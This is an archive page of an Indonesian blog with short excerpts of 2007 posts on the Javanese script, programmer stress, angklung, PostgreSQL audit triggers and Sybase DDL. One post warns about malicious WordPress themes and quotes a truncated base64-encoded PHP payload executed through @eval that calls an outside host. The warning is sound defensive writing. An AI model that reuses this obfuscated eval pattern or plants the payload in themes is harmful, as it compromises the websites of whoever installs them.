Skip to main content

Posts

Showing posts from 2007

Ha Na Ca Ra Ka, Huruf Jawa: Riwayatmu Kini

Ha na ca ra ka; hana caraka; ada utusan. Ah kemanakah para utusan itu sekarang? Sesekali aku jalan-jalan ke blog orang-orang dari wilayah-wilayah asia semacem Thailand, Champa (Khmer); ada yang tiba tiba menyeruak dari kedalaman jiwaku. Dari kedalaman jiwa seorang Jawa. Hari ini aku sudah tidak bisa lagi membaca rangkaian kalimat yang tersusun dari huruf-huruf milik kami, orang jawa. Dulu, ketika aku masih duduk di bangku sekolah dasar, pak guru dan ibu guruku begitu rajinnya mengajarkan aku membaca dan menulis huruf jawa. Sampai kemudian aku pun bisa menuliskannya dengan lancar. Membacanya pun aku tidak ada halangan. Bahkan sampai aksara murda sekalipun. Tapi kini aku seperti menjadi orang lain ketika harus membaca tulisan-tulisan itu. Hari ini, ketika aku tidak mampu lagi membaca hurufku. Aku mencoba untuk menelusuri di internet tentang huruf-huruf jawa. Aku dapat salah satunya di http://en.wikipedia.org/wiki/Javanese_script , kemudian dari sini aku mendapatkan http://www.omniglot...

8 Jalur Pemerataan Programmer Biar Tet

Terjemahan dan rangkuman bebas dari "8 Ways For A Programmer To Stay Sane" tulisan yang dimuat di Javaloby.com newsletter tanggal 28 nov 2007. Sebagai programmer memang sering seseorang akan merasa bangga ketika karyanya bisa terwujud dan termanfaatkan artinya lagi menghasilkan. Tetapi, sebagai seorang progarmmer pula orang sering merasa sutris. Apalagi kalo ketemu bermacem-macem permintaan yang kadang-kadang aneh dan gak masuk akal. Dari yang macem gini penghargaan yang tinggi sebagai seorang programmer misih belum cukup buat bisa memberikan keseimbangan mental agar tetep bisa dikategorikan waras. Apalagi cuma sekedar cukup atau bahkan kurang. Nah lo... Jadi untuk menghindari hal-hal buruk yang mungkin bisa menghinggapi seorang programmer perlu tahu hal-hal yang bisa menjadi penyeimbang. Tahu Kapan Harus Keluar (rehat) Programmer adalah jenis manusia yang obsesif, seneng sama yang detil, keukeh dan bakal frustasi kalo gak bisa memecahkan permasalahan (dalam ko...

Bener gak sih Wordpress lagi di uji sama hacker?

Buat para blogger yang nongkrong di wordpress kayaknya harus hati2 kalo pengin ngubah tampilan dengan mendonlot theme dari 3rd party. Karena satu kasus sudah terbuka yang diuraikan sama http://5thirtyone.com/archives/870 jadi ternyata, kalo gak salah ngerti, theme wordpress tuh masih memungkinkan menjalankan script php (server side script), dan si hacker memanfaatkan base64_encode untuk mengelabui user sehingga script bikinan dia akan terencode dalam algoritma base64 kemudian dia ambil hasil encodenya ntuh ke theme hasil bikinan dia. Dan di theme nya itu dia menjalankan yang sebaliknya (base64_decode) dan dengan memanfaatkan function @eval dia mengeksekusi scriptnya. He he he, pintar dia. Ini diambil dari : http://codescout.org/2007/11/17/audit-those-3rd-party-themes-and-plugins-before-enabling-them/ @eval(@base64_decode('aWYoJFIzN0MwMTREQUU1RkU0RkU1Qzc3QjY3MzVBQkMzMD\ kxNiA9IEBmc29 ja29wZW4oInd3dy53cHNzci5jb20iLCA4MCwgJFIzMkQwMDA3MEQ0R\ kZCQ0NFMkZDNjY5QkJBODEyRDRDMiwgJFI1R...

Kita tunggu nasib angklung

Alat musik angklung akhir-akhir ini sedang naik daun oleh karena ada nya perebutan kepemilikan antara Malaysia dan Indonesia. Sebenarnya alat musik yang terdiri dari bilah bambu ini di Indonesia sendiri ada 2 variant. Variant pertama yang berkembang di daerah banyumas Jawa Tengah dan varian kedua adalah yang berkembang di tatar pasundan. Variant pertama bilah-bilah bambu itu ditata selayaknya gambang dan untuk menghasilkan bunyi harus ditabuh. Variant pertama ini juga punya variasi lain, yakni ditata berdiri. Cuma untuk menghasilkan bunyi tetap barus ditabuh. Orang setempat menyebutnya calung. Sedangkan variant kedua, secara umum orang sudah tahu bentuknya. Dia ditata dalam satu kerangka, dan bambu-bambu ditata secara menggantung. Untuk menghasilkan bunyi, angklung itu digoyang-goyangkan sehingga bilah-blah itu akan berbenturan. Mungkin orang malaysia nggak begitu suka sama variant pertama yang berkembang di banyumas, karena yang ini secara international kurang begitu terkenal. Ha ha...

PostgreSQL Trigger Audit..

PostgreSQL adalah salah satu dan mungkin sampai saat ini adalah satu-satunya opensource database dengan fitur yang sangat lengkap. Salah satu kelengkapan fitur yang 'ngedab-edabi' adalah procedural language nya yang mendukung banyak bahasa, mulai dari pl milik postgreSQL sendiri, c, java, bahkan perl. Disamping tentunya SQL. Dengan dukungan salah satu bahasa yang dipakai dalam precedural language nya, 'plperl', saya ingin berurun rembug dalam menyusun satu trigger yang akan merekam setiap transaksi yang dilakukan oleh user applikasi. Rekaman ini akan meliputi semua table yang ada di dalam database dan, tentunya, terinstall trigger, sebut saja trigger audit. Trigger audit yang saya susun ini memerlukan kehadiran skema yang kita rancang sendiri untuk menampung rekaman aktifitas dan system object yang akan kita pakai untuk antara-lain mengidentifikasikan nama kolom dan nama table. Table yang harus kita siapkan meliputi: publication_dtl yang akan merekam seluruh aktifitas u...

Null Allowed dan PK di Sybase ASE

Ha ha ha ha... Setelah nginep (eh nginep nggak dong la wong gak tidur) semaleman buat migrasi data, aku dapet PR baru. Menyempurnakan tool yang aku bikin. Ya harus disempurnakan la wong jalannya masih geyal-geyol. Hi hi hi hi. Hari ini, aku mencoba untuk membuat satu routine buat mengekstrak DDL bukan lewat tool yang dah ada dari Sybase, tapi murni bikinanku sendiri. Setelah tengok sana tengok sini make matanya Oom Google, akhirnya bisa terbentuk juga query dasar buat ekstrak DDL. Tapi masalah kemudian adalah menentukan suatu kolom masuk ke PK dan kemudian apakah suatu kolom itu nullallowed. Ternyata kunci untuk masuk ke PK ada di system table yang namanya 'sysindexes' dan untuk null allowed karena mengacu ke kolom ada di syscolumns. Check ini ada di kolom status dari syscolumns. Kondisi untuk check adalah 'status & 8' jika menhasilkan lebih besar dari 0 maka dia null allowed jika sama dengan 0 maka dia not null. Kemudian untuk masuk ke pk atau tidak checknya ...